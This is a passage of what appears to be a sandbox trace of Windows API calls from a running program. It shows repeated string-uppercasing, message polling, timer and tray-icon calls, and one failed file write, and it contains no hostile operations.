CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.117] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.117] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.117] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.117] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.117] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.117] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.118] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.119] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.120] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.121] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.122] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.123] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.124] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.124] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.124] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.124] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.777] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe0d659e700) returned 1 [0045.778] KillTimer (hWnd=0x9002c, uIDEvent=0x1) returned 1 [0045.778] SetTimer (hWnd=0x9002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.778] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.779] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="00000000000000000000010000000000\r\n", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0045.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="00000000000000000000010000000000\r\n", cchWideChar=35, lpMultiByteStr=0xe0d691e0b0, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="00000000000000000000010000000000\r\n", lpUsedDefaultChar=0x0) returned 35 [0045.782] GetLastError () returned 0x0 [0045.782] SetLastError (dwErrCode=0x0) [0045.782] GetLastError () returned 0x0 [0045.782] SetLastError (dwErrCode=0x0) [0045.782] WriteFile (in: hFile=0xfffffffffffffffe, lpBuffer=0xe0d67e7890, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0xe0d659d9e0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xe0d659d9e0, lpOverlapped=0x0) returned 0 [0045.782] GetLastError () returned 0x6 [0045.782] GetLastError () returned 0x6 [0045.782] SetLastError (dwErrCode=0x6) [0045.782] GetLastError () returned 0x6 [0045.782] SetLastError (dwErrCode=0x6) [0045.782] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.782] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.782] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.782] QueryPerformanceCounter (in: lpPerformanceCount=0xe0d659f2e8 | out: lpPerformanceCount=0xe0d659f2e8*=314068640) returned 1 [0045.782] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.782] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.782] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.782] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.782] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.783] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.784] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.785] PeekMessageW (in: 